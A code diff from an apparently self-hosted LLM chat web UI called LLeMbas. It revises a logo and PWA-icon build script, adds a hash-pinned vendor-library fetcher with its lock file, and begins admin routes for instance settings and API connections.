||||
ssh = ["asyncssh[bcrypt]>=2.14"]
|
||||
|
||||
[project.scripts]
|
||||
lembas = "lembas.cli:app"
|
||||
|
||||
@@ -14,8 +14,14 @@ are extracted, as a static drawing -- no font binary is redistributed.
|
||||
This is a design-time tool. The application never imports it, and the generated
|
||||
files are committed. Re-run it only when the artwork itself changes:
|
||||
|
||||
pip install fonttools
|
||||
pip install fonttools cairosvg
|
||||
python scripts/build_artwork.py
|
||||
|
||||
cairosvg is needed only for the PWA icons, which have to be PNG: an installed
|
||||
web app's icon is drawn by the operating system's launcher, and neither
|
||||
Android's adaptive-icon masking nor iOS's home screen will take an SVG. The
|
||||
rasterisation happens here, once, and the PNGs are committed like everything
|
||||
else -- the running application still has no build step and no rasteriser.
|
||||
"""
|
||||
|
||||
from __future__ import annotations
|
||||
@@ -35,6 +41,19 @@ except ImportError: # pragma: no cover - design-time tool
|
||||
|
||||
ROOT = Path(__file__).resolve().parent.parent
|
||||
ASSETS = ROOT / "assets"
|
||||
STATIC_IMG = ROOT / "src" / "lembas" / "web" / "static" / "img"
|
||||
|
||||
# assets/ holds the design masters; the application serves its own copies from
|
||||
# static/. These are the few the running app actually needs.
|
||||
SERVED_BY_APP = (
|
||||
"favicon.svg",
|
||||
"logo-mark.svg",
|
||||
"banner.svg",
|
||||
"icon-192.png",
|
||||
"icon-512.png",
|
||||
"icon-maskable-512.png",
|
||||
"apple-touch-icon-180.png",
|
||||
)
|
||||
|
||||
FONT_SEMIBOLD = Path("/usr/share/fonts/adobe-source-serif/SourceSerif4Display-Semibold.otf")
|
||||
FONT_ITALIC = Path("/usr/share/fonts/adobe-source-serif/SourceSerif4Display-It.otf")
|
||||
@@ -45,18 +64,26 @@ TAGLINE = "Waybread for the long road of thought"
|
||||
ACCENT_GLYPHS = frozenset({0, 1, 3})
|
||||
|
||||
# --- Palette -----------------------------------------------------------------
|
||||
GOLD_LIGHT = "#EACB74"
|
||||
GOLD = "#C9A227"
|
||||
GOLD_DARK = "#916F13"
|
||||
GOLD_SCORE = "#7A5C10"
|
||||
GOLD_HILIGHT = "#F6E3A8"
|
||||
RUNE_GOLD = "#E0B252"
|
||||
# The wafer is mallorn green because that is how lembas travels: wrapped in the
|
||||
# leaves, not bare. Green also leaves yellow free to mean one thing in the
|
||||
# interface -- a warning -- instead of two.
|
||||
WAFER_LIGHT = "#7FB758"
|
||||
WAFER = "#4C8C33"
|
||||
WAFER_DARK = "#2A5522"
|
||||
WAFER_SCORE = "#1F4019"
|
||||
WAFER_HILIGHT = "#C7E7A6"
|
||||
# The brand green, matching --leaf in tokens.css. Type accent and the drifting
|
||||
# leaves on the banner.
|
||||
MALLORN = "#9BCC5A"
|
||||
MALLORN_DEEP = "#4C7A22"
|
||||
|
||||
LEAF_EDGE = "#93A5B6"
|
||||
LEAF_LIGHT = "#F1F6FA"
|
||||
LEAF_MID = "#B8C7D5"
|
||||
LEAF_VEIN = "#61758A"
|
||||
LEAF_STEM = "#8A9AA8"
|
||||
# The blade stays pale: a leaf the same green as the wafer it lies on has no
|
||||
# silhouette, and the silhouette is the whole mark at 16px.
|
||||
LEAF_EDGE = "#9DB49A"
|
||||
LEAF_LIGHT = "#F3F8EE"
|
||||
LEAF_MID = "#C6D8BE"
|
||||
LEAF_VEIN = "#57734F"
|
||||
LEAF_STEM = "#8B9E86"
|
||||
|
||||
NIGHT_TOP = "#080B0F"
|
||||
NIGHT_MID = "#101822"
|
||||
@@ -66,22 +93,37 @@ INK = "#1B1F23"
|
||||
MUTED = "#9AA7B4"
|
||||
|
||||
# --- The mallorn leaf --------------------------------------------------------
|
||||
# Drawn once, in a 64x64 box, and reused everywhere. Tuned so the silhouette
|
||||
# still reads as a leaf at 16px, where veins and score lines disappear.
|
||||
# Drawn once, in a 64x64 box, and reused everywhere. The blade runs corner to
|
||||
# corner and fills most of the tile, because at 16px the only thing that
|
||||
# survives is the outline: a small leaf on a large tile reads as a green square
|
||||
# with a smudge on it. Veins and the score line are detail-only for the same
|
||||
# reason.
|
||||
# Ovate, not lens-shaped: the widest point sits about a third up from the base,
|
||||
# the base is a rounded cusp where the stem meets it, and only the tip is drawn
|
||||
# out to a point. A blade pointed at both ends reads as an eye.
|
||||
LEAF_BLADE = (
|
||||
"M20.5 45.5 C13.8 31.7 23.8 20.9 45.5 18.5 C49.8 35 39.8 45.8 20.5 45.5 Z"
|
||||
"M21 46 C19.6 40.5 20.4 34.2 23.4 30.5 C27.5 25.5 35 20.5 46 18 "
|
||||
"C43.5 26.5 40.5 36.5 36.1 41.9 C33 45.6 26.5 47 21 46 Z"
|
||||
)
|
||||
LEAF_MIDRIB = "M20.5 45.5 C28 38 36 29 45.5 18.5"
|
||||
LEAF_STEM_PATH = "M21.2 44.8 L17 49.4"
|
||||
LEAF_MIDRIB = "M21 46 Q30.5 34.5 46 18"
|
||||
LEAF_STEM_PATH = "M21.4 45.6 L16.3 51.2"
|
||||
# Veins sweep towards the tip rather than leaving the midrib square-on, and
|
||||
# shorten as the blade narrows.
|
||||
LEAF_VEINS = [
|
||||
"M26.9 38.8 Q25.2 35.8 24.9 32.1",
|
||||
"M32.3 33.1 Q30.9 30.3 30.4 26.9",
|
||||
"M37.8 27.0 Q36.6 24.6 36.3 21.7",
|
||||
"M26.9 38.8 Q30.5 40.1 33.7 40.3",
|
||||
"M32.3 33.1 Q35.8 34.3 38.6 34.5",
|
||||
"M37.8 27.0 Q40.8 27.9 43.2 28.1",
|
||||
"M26.8 39.2 Q24.9 37.4 24.7 35.3",
|
||||
"M32.0 33.3 Q30.1 31.5 29.8 29.2",
|
||||
"M37.8 26.9 Q36.4 25.6 36.1 23.7",
|
||||
"M26.8 39.2 Q28.7 40.9 30.7 40.8",
|
||||
"M32.0 33.3 Q33.9 35.0 36.1 34.9",
|
||||
"M37.8 26.9 Q39.4 28.2 40.9 28.2",
|
||||
]
|
||||
|
||||
# The wafer's break-lines. Axis-aligned and crossed, deliberately: a single
|
||||
# diagonal behind a diagonal leaf does not read as scoring, it reads as a line
|
||||
# struck through the mark. Thin and faint, so it is texture and not structure.
|
||||
WAFER_SCORES = ("M32 5 V59", "M5 32 H59")
|
||||
WAFER_SCORE_HILIGHTS = ("M33.1 5 V59", "M5 33.1 H59")
|
||||
|
||||
HEADER = '<svg xmlns="http://www.w3.org/2000/svg"'
|
||||
|
||||
|
||||
@@ -174,10 +216,10 @@ def type_style(indent: str = " ") -> str:
|
||||
"""
|
||||
return f"""{indent}<style>
|
||||
{indent} .base {{ fill: var(--lembas-ink, {INK}); }}
|
||||
{indent} .accent {{ fill: var(--lembas-gold, {GOLD}); }}
|
||||
{indent} .accent {{ fill: var(--lembas-leaf, {MALLORN_DEEP}); }}
|
||||
{indent} @media (prefers-color-scheme: dark) {{
|
||||
{indent} .base {{ fill: var(--lembas-ink, {PARCHMENT}); }}
|
||||
{indent} .accent {{ fill: var(--lembas-gold, {RUNE_GOLD}); }}
|
||||
{indent} .accent {{ fill: var(--lembas-leaf, {MALLORN}); }}
|
||||
{indent} }}
|
||||
{indent}</style>"""
|
||||
|
||||
@@ -186,9 +228,9 @@ def type_style(indent: str = " ") -> str:
|
||||
def mark_defs(prefix: str) -> str:
|
||||
return f""" <defs>
|
||||
<linearGradient id="{prefix}-wafer" x1="0" y1="0" x2="0.3" y2="1">
|
||||
<stop offset="0" stop-color="{GOLD_LIGHT}"/>
|
||||
<stop offset="0.5" stop-color="{GOLD}"/>
|
||||
<stop offset="1" stop-color="{GOLD_DARK}"/>
|
||||
<stop offset="0" stop-color="{WAFER_LIGHT}"/>
|
||||
<stop offset="0.5" stop-color="{WAFER}"/>
|
||||
<stop offset="1" stop-color="{WAFER_DARK}"/>
|
||||
</linearGradient>
|
||||
<linearGradient id="{prefix}-leaf" x1="0.1" y1="1" x2="0.9" y2="0">
|
||||
<stop offset="0" stop-color="{LEAF_EDGE}"/>
|
||||
@@ -196,7 +238,7 @@ def mark_defs(prefix: str) -> str:
|
||||
<stop offset="1" stop-color="{LEAF_MID}"/>
|
||||
</linearGradient>
|
||||
<clipPath id="{prefix}-clip">
|
||||
<rect x="6" y="6" width="52" height="52" rx="13"/>
|
||||
<rect x="5" y="5" width="54" height="54" rx="14"/>
|
||||
</clipPath>
|
||||
</defs>"""
|
||||
|
||||
@@ -204,23 +246,23 @@ def mark_defs(prefix: str) -> str:
|
||||
def mark_body(prefix: str, *, detail: bool = True) -> str:
|
||||
"""The wafer-and-leaf mark in a 64x64 box.
|
||||
|
||||
detail=False drops the score lines, rim and veins for small-size use.
|
||||
detail=False drops the score line, rim and veins for small-size use.
|
||||
"""
|
||||
parts = [f' <rect x="6" y="6" width="52" height="52" rx="13" fill="url(#{prefix}-wafer)"/>']
|
||||
parts = [f' <rect x="5" y="5" width="54" height="54" rx="14" fill="url(#{prefix}-wafer)"/>']
|
||||
|
||||
if detail:
|
||||
scores = "\n".join(f' <path d="{s}"/>' for s in WAFER_SCORES)
|
||||
hilights = "\n".join(f' <path d="{s}"/>' for s in WAFER_SCORE_HILIGHTS)
|
||||
parts.append(f""" <g clip-path="url(#{prefix}-clip)" fill="none" stroke-linecap="round">
|
||||
<g stroke="{GOLD_SCORE}" stroke-opacity="0.38" stroke-width="2">
|
||||
<path d="M32 6 V58"/>
|
||||
<path d="M6 32 H58"/>
|
||||
<g stroke="{WAFER_SCORE}" stroke-opacity="0.30" stroke-width="1.8">
|
||||
{scores}
|
||||
</g>
|
||||
<g stroke="{GOLD_HILIGHT}" stroke-opacity="0.3" stroke-width="1">
|
||||
<path d="M33.2 6 V58"/>
|
||||
<path d="M6 33.2 H58"/>
|
||||
<g stroke="{WAFER_HILIGHT}" stroke-opacity="0.20" stroke-width="0.9">
|
||||
{hilights}
|
||||
</g>
|
||||
</g>
|
||||
<rect x="7.1" y="7.1" width="49.8" height="49.8" rx="11.9"
|
||||
fill="none" stroke="{GOLD_SCORE}" stroke-opacity="0.3" stroke-width="1.2"/>""")
|
||||
<rect x="6.1" y="6.1" width="51.8" height="51.8" rx="12.9"
|
||||
fill="none" stroke="{WAFER_SCORE}" stroke-opacity="0.32" stroke-width="1.2"/>""")
|
||||
|
||||
parts.append(f""" <g>
|
||||
<path d="{LEAF_STEM_PATH}" stroke="{LEAF_STEM}" stroke-width="3"
|
||||
@@ -245,7 +287,7 @@ def build_logo_mark() -> str:
|
||||
return f"""{HEADER} viewBox="0 0 64 64" width="64" height="64"
|
||||
role="img" aria-label="LLeMbas">
|
||||
<title>LLeMbas</title>
|
||||
<desc>A silver mallorn leaf laid across a scored golden lembas wafer.</desc>
|
||||
<desc>A pale mallorn leaf laid across a scored green lembas wafer.</desc>
|
||||
{mark_defs("m")}
|
||||
{mark_body("m")}
|
||||
</svg>
|
||||
@@ -253,14 +295,19 @@ def build_logo_mark() -> str:
|
||||
|
||||
|
||||
def build_favicon() -> str:
|
||||
"""Small-size variant: no score lines or veins, larger blade, tighter tile."""
|
||||
"""Small-size variant: no score line or veins, larger blade, tighter tile.
|
||||
|
||||
The tile grows to the edge of the box and the leaf is scaled up again on top
|
||||
of that: at 16px the padding of the full mark is several device pixels of
|
||||
nothing, spent on a rounded corner nobody can see.
|
||||
"""
|
||||
return f"""{HEADER} viewBox="0 0 64 64" width="64" height="64"
|
||||
role="img" aria-label="LLeMbas">
|
||||
<title>LLeMbas</title>
|
||||
{mark_defs("f")}
|
||||
<rect x="2" y="2" width="60" height="60" rx="14" fill="url(#f-wafer)"/>
|
||||
<g transform="translate(32 32) scale(1.16) translate(-32 -32)">
|
||||
<path d="M20.6 44.6 L15.6 50.1" stroke="{LEAF_STEM}" stroke-width="3.4"
|
||||
<rect x="1" y="1" width="62" height="62" rx="15" fill="url(#f-wafer)"/>
|
||||
<g transform="translate(32 32) scale(1.1) translate(-32 -32)">
|
||||
<path d="{LEAF_STEM_PATH}" stroke="{LEAF_STEM}" stroke-width="3.4"
|
||||
stroke-linecap="round" fill="none"/>
|
||||
<path d="{LEAF_BLADE}" fill="url(#f-leaf)"/>
|
||||
<path d="{LEAF_MIDRIB}" fill="none" stroke="{LEAF_VEIN}" stroke-opacity="0.45"
|
||||
@@ -316,6 +363,66 @@ def build_lockup() -> str:
|
||||
"""
|
||||
|
||||
|
||||
# --- PWA icons ---------------------------------------------------------------
|
||||
# Same geometry as everything else, rasterised because a launcher icon has to
|
||||
# be a bitmap. Two shapes are needed, not one:
|
||||
#
|
||||
# "any" -- drawn as supplied, so the wafer's own rounded square is the
|
||||
# silhouette and the corners stay transparent.
|
||||
# "maskable" -- Android crops it to a circle, squircle or rounded square of
|
||||
# the launcher's choosing, so the art must be full-bleed and
|
||||
# the mark must sit inside the central safe zone. An "any"
|
||||
# icon used as maskable gets its corners sliced off.
|
||||
#
|
||||
# The Apple icon is opaque for a different reason: iOS composites a home screen
|
||||
# icon onto black, so transparency reads as a black tile rather than as the
|
||||
# wallpaper showing through.
|
||||
def _framed_mark(prefix: str, *, background: str | None = None, inset: float = 0.0) -> str:
|
||||
"""The mark on a 64x64 canvas, optionally opaque and inset from the edges."""
|
||||
size = 64.0
|
||||
offset = size * inset
|
||||
scale = 1.0 - inset * 2
|
||||
plate = f' <rect width="{size:.0f}" height="{size:.0f}" fill="{background}"/>\n'
|
||||
return f"""{HEADER} viewBox="0 0 64 64" width="64" height="64"
|
||||
role="img" aria-label="LLeMbas">
|
||||
{mark_defs(prefix)}
|
||||
{plate if background else ""} <g transform="translate({offset:.3f} {offset:.3f}) \
|
||||
scale({scale:.4f})">
|
||||
{mark_body(prefix)}
|
||||
</g>
|
||||
</svg>
|
||||
"""
|
||||
|
||||
|
||||
def _rasterise(svg: str, size: int) -> bytes:
|
||||
try:
|
||||
import cairosvg
|
||||
except ImportError: # pragma: no cover - design-time tool
|
||||
sys.exit("cairosvg is required for the PWA icons: pip install cairosvg")
|
||||
return cairosvg.svg2png(
|
||||
bytestring=svg.encode("utf-8"), output_width=size, output_height=size
|
||||
)
|
||||
|
||||
|
||||
def build_icon_192() -> bytes:
|
||||
return _rasterise(_framed_mark("i192"), 192)
|
||||
|
||||
|
||||
def build_icon_512() -> bytes:
|
||||
return _rasterise(_framed_mark("i512"), 512)
|
||||
|
||||
|
||||
def build_icon_maskable() -> bytes:
|
||||
# 20% inset leaves the mark inside the central 60%, comfortably within the
|
||||
# 80% safe circle every launcher mask respects.
|
||||
return _rasterise(_framed_mark("imask", background=NIGHT_MID, inset=0.20), 512)
|
||||
|
||||
|
||||
def build_apple_touch_icon() -> bytes:
|
||||
# iOS rounds the corners itself, so only a hairline of padding is wanted.
|
||||
return _rasterise(_framed_mark("iios", background=NIGHT_MID, inset=0.06), 180)
|
||||
|
||||
|
||||
def _mountains(width: float, base_y: float, seed: int, height: float, colour: str) -> str:
|
||||
"""One jagged ridge line spanning the full width."""
|
||||
rng = random.Random(seed)
|
||||
@@ -362,7 +469,7 @@ def _drifting_leaves(seed: int) -> str:
|
||||
out.append(
|
||||
f' <g transform="translate({cx} {cy}) rotate({rot}) '
|
||||
f'scale({scale}) translate(-32 -32)" opacity="{opacity:.2f}">'
|
||||
f'<path d="{LEAF_BLADE}" fill="{RUNE_GOLD}"/></g>'
|
||||
f'<path d="{LEAF_BLADE}" fill="{MALLORN}"/></g>'
|
||||
)
|
||||
return "\n".join(out)
|
||||
|
||||
@@ -402,8 +509,8 @@ def build_banner() -> str:
|
||||
<stop offset="1" stop-color="{NIGHT_LOW}"/>
|
||||
</linearGradient>
|
||||
<radialGradient id="b-glow" cx="0.5" cy="0.54" r="0.5">
|
||||
<stop offset="0" stop-color="{GOLD}" stop-opacity="0.22"/>
|
||||
<stop offset="1" stop-color="{GOLD}" stop-opacity="0"/>
|
||||
<stop offset="0" stop-color="{MALLORN}" stop-opacity="0.22"/>
|
||||
<stop offset="1" stop-color="{MALLORN}" stop-opacity="0"/>
|
||||
</radialGradient>
|
||||
<!-- Cool light sitting just above the ridge line, so the far mountains
|
||||
separate from the near ones instead of merging into one dark mass. -->
|
||||
@@ -427,7 +534,7 @@ def build_banner() -> str:
|
||||
{_mountains(width, 366, 3, 150, "#1C2836")}
|
||||
{_mountains(width, 392, 8, 112, "#111A25")}
|
||||
{_mountains(width, 416, 21, 74, "#080D13")}
|
||||
<rect y="{height - 5:.0f}" width="{width:.0f}" height="5" fill="{GOLD}" opacity="0.55"/>
|
||||
<rect y="{height - 5:.0f}" width="{width:.0f}" height="5" fill="{MALLORN}" opacity="0.55"/>
|
||||
|
||||
<!-- Lockup. Colours are fixed rather than themed: the banner carries its own
|
||||
night sky, so it must not follow the reader's colour scheme. -->
|
||||
@@ -435,7 +542,7 @@ def build_banner() -> str:
|
||||
{mark_body("b")}
|
||||
</g>
|
||||
<g transform="translate({lockup_x + mark_size + gap - run.x0:.2f} {baseline_y:.2f})">
|
||||
<style>.base {{ fill: {PARCHMENT}; }} .accent {{ fill: {RUNE_GOLD}; }}</style>
|
||||
<style>.base {{ fill: {PARCHMENT}; }} .accent {{ fill: {MALLORN}; }}</style>
|
||||
{run.paths(ACCENT_GLYPHS, indent=" ")}
|
||||
</g>
|
||||
<g transform="translate({tag_x:.2f} {tag_y:.2f})">
|
||||
@@ -453,6 +560,10 @@ BUILDERS = {
|
||||
"wordmark.svg": build_wordmark,
|
||||
"logo-lockup.svg": build_lockup,
|
||||
"banner.svg": build_banner,
|
||||
"icon-192.png": build_icon_192,
|
||||
"icon-512.png": build_icon_512,
|
||||
"icon-maskable-512.png": build_icon_maskable,
|
||||
"apple-touch-icon-180.png": build_apple_touch_icon,
|
||||
}
|
||||
|
||||
|
||||
@@ -463,10 +574,21 @@ def main() -> None:
|
||||
args = parser.parse_args()
|
||||
|
||||
args.out.mkdir(parents=True, exist_ok=True)
|
||||
STATIC_IMG.mkdir(parents=True, exist_ok=True)
|
||||
|
||||
for filename in args.only or BUILDERS:
|
||||
content = BUILDERS[filename]()
|
||||
# The PNG builders return bytes; everything else returns SVG source.
|
||||
data = content if isinstance(content, bytes) else content.encode("utf-8")
|
||||
|
||||
path = args.out / filename
|
||||
path.write_text(BUILDERS[filename](), encoding="utf-8")
|
||||
print(f"wrote {path.relative_to(ROOT)} ({path.stat().st_size:,} bytes)")
|
||||
path.write_bytes(data)
|
||||
print(f"wrote {path.relative_to(ROOT)} ({len(data):,} bytes)")
|
||||
|
||||
if filename in SERVED_BY_APP:
|
||||
served = STATIC_IMG / filename
|
||||
served.write_bytes(data)
|
||||
print(f" -> {served.relative_to(ROOT)}")
|
||||
|
||||
|
||||
if __name__ == "__main__":
|
||||
|
||||
@@ -0,0 +1,149 @@
|
||||
#!/usr/bin/env python3
|
||||
"""Download the pinned browser libraries into the static vendor directory.
|
||||
|
||||
LLeMbas has no Node toolchain and loads nothing from a CDN at runtime -- a
|
||||
self-hosted tool should keep working without internet access, and should not
|
||||
report every user's page view to a third party. The few libraries it does use
|
||||
are fetched once, here, and committed.
|
||||
|
||||
Integrity is enforced with vendor.lock.json. A mismatched hash aborts rather
|
||||
than overwriting, and so does a name that is not in the lock at all: that is
|
||||
the whole point of pinning.
|
||||
|
||||
python scripts/fetch_vendor.py # fetch and verify against the lock
|
||||
python scripts/fetch_vendor.py --update # re-pin after a version bump
|
||||
"""
|
||||
|
||||
from __future__ import annotations
|
||||
|
||||
import argparse
|
||||
import hashlib
|
||||
import json
|
||||
import sys
|
||||
import urllib.error
|
||||
import urllib.request
|
||||
from pathlib import Path
|
||||
|
||||
ROOT = Path(__file__).resolve().parent.parent
|
||||
VENDOR_DIR = ROOT / "src" / "lembas" / "web" / "static" / "vendor"
|
||||
LOCKFILE = Path(__file__).resolve().parent / "vendor.lock.json"
|
||||
|
||||
# Pinned deliberately. Bump the version, run with --update, review the diff.
|
||||
PACKAGES = {
|
||||
"htmx.min.js": {
|
||||
"version": "2.0.10",
|
||||
"url": "https://unpkg.com/htmx.org@2.0.10/dist/htmx.min.js",
|
||||
"why": "Server-rendered interactivity: every swap in the app.",
|
||||
},
|
||||
"htmx-ext-sse.js": {
|
||||
"version": "2.2.4",
|
||||
"url": "https://unpkg.com/htmx-ext-sse@2.2.4/sse.js",
|
||||
"why": "Server-sent events, which is how streamed replies reach the page.",
|
||||
},
|
||||
"alpine.min.js": {
|
||||
"version": "3.15.12",
|
||||
"url": "https://unpkg.com/alpinejs@3.15.12/dist/cdn.min.js",
|
||||
"why": "Small client-only state: menus, theme toggle, composer autosize.",
|
||||
},
|
||||
"xterm.js": {
|
||||
"version": "5.5.0",
|
||||
"url": "https://unpkg.com/@xterm/xterm@5.5.0/lib/xterm.js",
|
||||
"why": "The terminal panel. Loaded only on a chat that has an SSH connection.",
|
||||
},
|
||||
"xterm.css": {
|
||||
"version": "5.5.0",
|
||||
"url": "https://unpkg.com/@xterm/xterm@5.5.0/css/xterm.css",
|
||||
"why": "Terminal layout. Its colours are overridden from tokens.css at runtime.",
|
||||
},
|
||||
"xterm-addon-fit.js": {
|
||||
"version": "0.10.0",
|
||||
"url": "https://unpkg.com/@xterm/addon-fit@0.10.0/lib/addon-fit.js",
|
||||
"why": "Sizes the terminal to the panel; without it a resize is 80x24 forever.",
|
||||
},
|
||||
}
|
||||
|
||||
|
||||
def sha256(data: bytes) -> str:
|
||||
return hashlib.sha256(data).hexdigest()
|
||||
|
||||
|
||||
def fetch(url: str) -> bytes:
|
||||
request = urllib.request.Request(url, headers={"User-Agent": "lembas-vendor-fetch"})
|
||||
with urllib.request.urlopen(request, timeout=60) as response: # noqa: S310
|
||||
return response.read()
|
||||
|
||||
|
||||
def main() -> int:
|
||||
parser = argparse.ArgumentParser(description=__doc__)
|
||||
parser.add_argument(
|
||||
"--update",
|
||||
action="store_true",
|
||||
help="rewrite vendor.lock.json with the hashes just downloaded",
|
||||
)
|
||||
args = parser.parse_args()
|
||||
|
||||
lock = json.loads(LOCKFILE.read_text()) if LOCKFILE.exists() else {}
|
||||
VENDOR_DIR.mkdir(parents=True, exist_ok=True)
|
||||
|
||||
new_lock: dict[str, dict[str, str]] = {}
|
||||
failed = False
|
||||
|
||||
for filename, spec in PACKAGES.items():
|
||||
try:
|
||||
payload = fetch(spec["url"])
|
||||
except (urllib.error.URLError, TimeoutError) as exc:
|
||||
print(f" FAIL {filename}: {exc}", file=sys.stderr)
|
||||
failed = True
|
||||
continue
|
||||
|
||||
digest = sha256(payload)
|
||||
expected = lock.get(filename, {}).get("sha256")
|
||||
|
||||
if lock and not expected and not args.update:
|
||||
# A name added to PACKAGES but absent from the lock has nothing to
|
||||
# compare against, so the mismatch branch below never fires and the
|
||||
# file lands unpinned -- which is the one thing this script exists
|
||||
# to prevent. Adding a library is a --update, like bumping one.
|
||||
print(
|
||||
f" FAIL {filename}: not in {LOCKFILE.name}\n"
|
||||
f" Nothing to verify this download against. If the "
|
||||
f"library was added deliberately, re-run with --update.",
|
||||
file=sys.stderr,
|
||||
)
|
||||
failed = True
|
||||
continue
|
||||
|
||||
if expected and digest != expected and not args.update:
|
||||
print(
|
||||
f" FAIL {filename}: hash mismatch\n"
|
||||
f" expected {expected}\n"
|
||||
f" received {digest}\n"
|
||||
f" Refusing to overwrite. If the version was bumped "
|
||||
f"deliberately, re-run with --update.",
|
||||
file=sys.stderr,
|
||||
)
|
||||
failed = True
|
||||
continue
|
||||
|
||||
(VENDOR_DIR / filename).write_bytes(payload)
|
||||
new_lock[filename] = {
|
||||
"version": spec["version"],
|
||||
"url": spec["url"],
|
||||
"sha256": digest,
|
||||
}
|
||||
status = "ok" if expected == digest else ("pinned" if args.update else "new")
|
||||
print(f" {status:>6} {filename} {len(payload):>8,} bytes v{spec['version']}")
|
||||
|
||||
if failed:
|
||||
print("\nOne or more downloads failed. Vendored files were not fully written.")
|
||||
return 1
|
||||
|
||||
if args.update or not LOCKFILE.exists():
|
||||
LOCKFILE.write_text(json.dumps(new_lock, indent=2, sort_keys=True) + "\n")
|
||||
print(f"\nwrote {LOCKFILE.relative_to(ROOT)}")
|
||||
|
||||
return 0
|
||||
|
||||
|
||||
if __name__ == "__main__":
|
||||
sys.exit(main())
|
||||
@@ -0,0 +1,32 @@
|
||||
{
|
||||
"alpine.min.js": {
|
||||
"sha256": "57b37d7cae9a27d965fdae4adcc844245dfdc407e655aee85dcfff3a08036a3f",
|
||||
"url": "https://unpkg.com/alpinejs@3.15.12/dist/cdn.min.js",
|
||||
"version": "3.15.12"
|
||||
},
|
||||
"htmx-ext-sse.js": {
|
||||
"sha256": "3b5992a541619babefc4c169505af474df5c3039da51e59b96ccf9241ecd61d2",
|
||||
"url": "https://unpkg.com/htmx-ext-sse@2.2.4/sse.js",
|
||||
"version": "2.2.4"
|
||||
},
|
||||
"htmx.min.js": {
|
||||
"sha256": "71ea67185bfa8c98c39d31717c6fce5d852370fcdfd129db4543774d3145c0de",
|
||||
"url": "https://unpkg.com/htmx.org@2.0.10/dist/htmx.min.js",
|
||||
"version": "2.0.10"
|
||||
},
|
||||
"xterm-addon-fit.js": {
|
||||
"sha256": "bdaefa370b1bfc42ee88d46fe6072400902a4d4b2d45cd93438dda9b23c97089",
|
||||
"url": "https://unpkg.com/@xterm/addon-fit@0.10.0/lib/addon-fit.js",
|
||||
"version": "0.10.0"
|
||||
},
|
||||
"xterm.css": {
|
||||
"sha256": "ba8e6985669488981ccf40c0cefe3aba80722cb6c92de7ad628b0bd717faf2b6",
|
||||
"url": "https://unpkg.com/@xterm/xterm@5.5.0/css/xterm.css",
|
||||
"version": "5.5.0"
|
||||
},
|
||||
"xterm.js": {
|
||||
"sha256": "1f991ac3b4b283ebf96e60ae23a00a52765dd3a2e46fa6fdda9f1aab032f7495",
|
||||
"url": "https://unpkg.com/@xterm/xterm@5.5.0/lib/xterm.js",
|
||||
"version": "5.5.0"
|
||||
}
|
||||
}
|
||||
@@ -1,3 +1,3 @@
|
||||
"""LLeMbas - a Middle-earth themed web UI for OpenAI-compatible LLM endpoints."""
|
||||
|
||||
__version__ = "0.1.0"
|
||||
__version__ = "0.6.2"
|
||||
|
||||
@@ -0,0 +1,246 @@
|
||||
"""Administration: OpenAI-compatible connections and their models."""
|
||||
|
||||
from __future__ import annotations
|
||||
|
||||
import logging
|
||||
from datetime import UTC, datetime
|
||||
|
||||
from fastapi import APIRouter, Form, HTTPException, Request, Response, status
|
||||
from fastapi.responses import RedirectResponse
|
||||
from sqlalchemy import func, select
|
||||
from sqlalchemy.orm import Session as DBSession
|
||||
|
||||
from lembas.api.deps import AdminUser, Db
|
||||
from lembas.db.models import Connection, Model, User
|
||||
from lembas.services import settings_store
|
||||
from lembas.services.crypto import UNCHANGED_SENTINEL, decrypt, encrypt, mask
|
||||
from lembas.services.llm.openai_client import Endpoint, LLMError, context_from, list_models
|
||||
from lembas.web.templating import render
|
||||
|
||||
log = logging.getLogger(__name__)
|
||||
|
||||
router = APIRouter(prefix="/admin", tags=["admin"])
|
||||
|
||||
|
||||
def _connection(db: DBSession, connection_id: str) -> Connection:
|
||||
connection = db.get(Connection, connection_id)
|
||||
if connection is None:
|
||||
raise HTTPException(status.HTTP_404_NOT_FOUND, "That connection no longer exists.")
|
||||
return connection
|
||||
|
||||
|
||||
def _connections(db: DBSession) -> list[Connection]:
|
||||
return list(db.scalars(select(Connection).order_by(Connection.position, Connection.name)))
|
||||
|
||||
|
||||
@router.get("")
|
||||
async def admin_home(user: AdminUser):
|
||||
return RedirectResponse("/admin/general", status_code=status.HTTP_303_SEE_OTHER)
|
||||
|
||||
|
||||
@router.get("/general")
|
||||
async def general_page(request: Request, db: Db, user: AdminUser, saved: bool = False):
|
||||
return render(
|
||||
request,
|
||||
"admin/general.html",
|
||||
{
|
||||
"values": settings_store.get_group(db),
|
||||
"saved": saved,
|
||||
"user_count": db.scalar(select(func.count()).select_from(User)),
|
||||
},
|
||||
)
|
||||
|
||||
|
||||
@router.post("/general")
|
||||
async def save_general(
|
||||
db: Db,
|
||||
user: AdminUser,
|
||||
instance_name: str = Form("LLeMbas"),
|
||||
allow_signup: bool = Form(False),
|
||||
system_prompt: str = Form(""),
|
||||
compact_threshold: int = Form(95),
|
||||
) -> Response:
|
||||
"""Save instance settings.
|
||||
|
||||
Unchecked checkboxes are simply absent from a form post, which is why
|
||||
allow_signup defaults to False here -- that absence *is* the "off" signal.
|
||||
"""
|
||||
settings_store.update(
|
||||
db,
|
||||
{
|
||||
"instance_name": instance_name.strip()[:120] or "LLeMbas",
|
||||
"allow_signup": allow_signup,
|
||||
"system_prompt": system_prompt.strip()[:8000],
|
||||
# 0 is "never"; anything else is clamped into a band where it can
|
||||
# do some good. 100 is useless -- you cannot compact after
|
||||
# overflowing -- and below 50 it fires while there is plenty left.
|
||||
"compact_threshold": (
|
||||
0 if compact_threshold <= 0 else min(max(compact_threshold, 50), 99)
|
||||
),
|
||||
},
|
||||
)
|
||||
log.info("registration %s by %s", "opened" if allow_signup else "closed", user.email)
|
||||
return RedirectResponse("/admin/general?saved=1", status_code=status.HTTP_303_SEE_OTHER)
|
||||
|
||||
|
||||
@router.get("/connections")
|
||||
async def connections_page(request: Request, db: Db, user: AdminUser, message: str = ""):
|
||||
connections = _connections(db)
|
||||
return render(
|
||||
request,
|
||||
"admin/connections.html",
|
||||
{
|
||||
"connections": connections,
|
||||
"masked": {c.id: mask(decrypt(c.api_key_encrypted)) for c in connections},
|
||||
"model_counts": {
|
||||
c.id: sum(1 for m in c.models if m.enabled) for c in connections
|
||||
},
|
||||
"message": message,
|
||||
"unchanged": UNCHANGED_SENTINEL,
|
||||
},
|
||||
)
|
||||
|
||||
|
||||
@router.post("/connections")
|
||||
async def create_connection(
|
||||
db: Db,
|
||||
user: AdminUser,
|
||||
name: str = Form(...),
|
||||
base_url: str = Form(...),
|
||||
api_key: str = Form(""),
|
||||
) -> Response:
|
||||
